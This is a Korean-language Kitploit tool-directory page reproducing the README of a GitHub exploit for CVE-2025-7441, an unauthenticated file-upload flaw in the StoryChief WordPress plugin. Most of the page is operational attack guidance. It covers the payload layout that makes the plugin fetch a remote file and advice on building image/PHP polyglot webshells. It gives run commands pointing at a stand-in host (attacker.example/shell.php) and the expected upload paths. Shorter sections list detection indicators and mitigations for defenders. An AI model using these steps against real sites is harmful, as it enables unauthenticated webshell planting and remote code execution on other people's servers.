Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/nxploited/cve-2025-7441
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-7441

StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드

🚨 StoryChief <= 1.0.42 — 인증되지 않은 임의 파일 업로드 (CVE-2025-7441)

ℹ️ 요약

StoryChief(WordPress 플러그인) 1.0.42 이하 버전은 REST 엔드포인트 /wp-json/storychief/webhook를 통해 인증되지 않은 임의 파일 업로드 취약점에 노출됩니다. 공격자는 플러그인이 공격자 제어 원격 리소스(예: 웹쉘)를 사이트의 업로드 디렉토리로 가져와 저장하도록 만들 수 있으며, 이로 인해 많은 기본 WordPress 배포에서 원격 코드 실행이 가능해집니다.

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (치명적)

💥 영향

  • wp-content/uploads/YYYY/MM/ 경로로 인증되지 않은 원격 파일 업로드
  • 업로드된 파일이 실행 가능한 경우(예: PHP) 원격 코드 실행 가능성
  • WordPress가 문서 루트에서 업로드된 PHP를 실행하도록 구성된 경우 전체 사이트가 손상될 수 있음

🧩 취약점 근본 원인

플러그인은 featured_image -> data -> sizes -> full 필드에 임의의 URL을 가리키는 수신 JSON 페이로드(publish 이벤트)를 수락합니다. StoryChief는 충분한 파일 유형/콘텐츠 검증을 수행하지 않거나 URL 소스를 제한하지 않으므로, 플러그인이 원격 리소스를 가져와 사이트의 업로드 디렉토리에 저장할 수 있습니다. 실행 가능한 코드가 포함된 파일의 저장을 방지하기 위한 검증이 부족합니다.


🛠️ 익스플로잇 스크립트 — 기능 설명 (취약점 매핑)

이 섹션은 익스플로잇 스크립트(별도 제공)를 높은 수준에서 설명하고 각 주요 동작을 기본 취약점에 매핑합니다.

  • CLI 인자 파싱 — 대상 URL(-u/--url), 원격 셸 URL(-shell), 선택적 HMAC 키, 헤더, 프록시/타임아웃/재시도 플래그, 디버그 및 출력 전용 옵션
  • 대상 정규화 — 사이트 루트가 제공되면 /wp-json/storychief/webhook 추가
  • 셸 URL 검증 — 원격 URL이 연결 가능한지 확인(HEAD/GET 또는 curl)
  • 파일 이름 추출 — 원격 URL 기본 이름을 사용하여 최종 업로드 파일 이름 유추
  • 페이로드 구성 — 공격자 제어 URL을 data.featured_image.data.sizes.full에 배치하여 플러그인이 파일을 가져와 저장하도록 강제
  • HMAC 서명(선택 사항) — 선택적 16진수 키를 사용하여 meta.mac(HMAC-SHA256) 계산, 일부 서버는 무시하거나 요구할 수 있음
  • 전송 — 재시도/백오프가 있는 requests 또는 curl 폴백 사용, 사용자 정의 헤더, 프록시, --no-verify 지원
  • 응답 처리 — JSON 응답에서 permalink/id 키를 파싱하여 성공 감지, 그렇지 않으면 실패 보고
  • 출력 — 성공 시 예상 업로드 경로(wp-content/uploads/YYYY/MM/) 출력

🖼️ 셸 파일 요구 사항 (중요)

.php 원격 파일(예: https://attacker.example/shell.php)을 사용하는 경우, 플러그인 또는 이미지 처리 코드가 이미지로 처리/수락하도록 파일에 유효한 이미지 헤더(매직 바이트)가 포함되어야 합니다. 핵심 사항:

  • 폴리글롯 접근 방식 사용: 파일은 유효한 이미지 매직 바이트(예: JPEG, PNG, GIF)로 시작되어야 하므로 단순 검사와 이미지 핸들러가 이를 수락하고, 디스크에 그대로 남아 있는 섹션에 PHP 페이로드도 포함해야 합니다.
  • 일반적인 이미지 매직 바이트:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" 또는 "GIF87a"
  • 파일 이름/확장자에만 의존하지 마십시오. 많은 플러그인은 파일 내용을 검사하거나 이미지 무결성을 확인하는 라이브러리(GD, ImageMagick)를 사용합니다.
  • 환경 의존적: 일부 서버는 이미지를 추가로 검증하거나 다시 인코딩하여 주입된 코드를 제거할 수 있습니다. 먼저 승인된 실험실에서 테스트하십시오.
  • 윤리적 알림: 여기에 작동하는 웹쉘 코드를 게시하지 마십시오. 승인된 환경에서만 이러한 파일을 생성하고 테스트하십시오.

▶️ 실행 방법 (예시)

플레이스홀더를 승인된 대상으로 교체하십시오. 아래 모든 예시는 .php 원격 셸 URL을 사용합니다.

  • 기본 예시:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • 명시적 웹훅 경로 및 디버그 사용:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • requests 대신 curl 사용:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • 페이로드만 출력(전송 안 함):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

중요 플래그:

  • --no-verify: TLS 검증 건너뛰기(주의해서 사용)
  • --proxy: 프록시를 통해 요청 전달
  • --header "Key: Value": 사용자 정의 헤더 추가

📤 예상 출력

  • 성공적인 실행:
    • 업로드됨: wp-content/uploads/2025/10/shell.php
  • 디버그 예시:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • 실패 메시지:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 탐지 및 침해 지표(IoC)

  • 알 수 없는 IP에서 /wp-json/storychief/webhook로 전송된 예상치 못한 POST 요청
  • PHP 확장자 또는 포함된 코드가 있는 이미지 확장자를 가진 wp-content/uploads///의 새 파일
  • 공격자 제어 도메인으로의 외부 GET 요청 후 업로드된 파일에 대한 액세스를 보여주는 웹서버 로그
  • 추가되거나 포함된 비이미지 콘텐츠가 있는 의심스러운 이미지 파일

🛡️ 완화 및 수정

단기 조치:

  • 사용 가능한 경우 즉시 StoryChief를 패치된 버전으로 업그레이드
  • WAF 또는 서버 규칙을 통해 /wp-json/storychief/webhook 차단 또는 제한
  • 신뢰할 수 없는 도메인으로의 서버 외부 가져오기 또는 이그레스 제한

개발자 지침:

  • 원격 가져오기 후 파일 유형과 내용을 검증하고 안전한 파서로 이미지를 확인하며 유효하지 않은 파일을 거부
  • 서버 측 다운로드 또는 파일 생성을 유발하는 웹훅에는 인증을 요구
  • HMAC/서명 검증이 구현되고 적용되는지 확인
  • 업로드된 콘텐츠를 웹 루트 외부에 저장하거나 wp-content/uploads에서 업로드 파일의 실행을 비활성화(웹 서버 규칙)

⚠️ 제한 사항 및 주의 사항

  • 익스플로잇 성공 여부는 서버 구성, 이미지 처리 라이브러리, 웹서버 실행 정책에 따라 달라집니다.
  • 이미지를 재처리하거나 재인코딩하는 서버는 주입된 페이로드를 제거할 수 있습니다.
  • 플러그인이 서명을 검증하는 경우 잘못된 mac을 제공하면 거부될 수 있습니다.

🤝 책임 있는 사용

이 문서는 방어자와 승인된 테스터를 위한 것입니다. 소유하지 않거나 테스트에 대한 명시적 허가가 없는 시스템에 이러한 기술을 사용하지 마십시오. 무단 악용은 불법이며 비윤리적입니다.

벤더나 사이트 소유자에게 문제를 보고하는 경우 재현 세부 정보, 안전한 수정 단계, 제안된 수정 사항을 포함하십시오.


📚 참조 및 크레딧

  • 보고 및 익스플로잇 스크립트: Nxploited (Khaled Alenazi) — 스크립트 파일 이름: CVE-2025-7441.py (별도 제공)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
도구 다운로드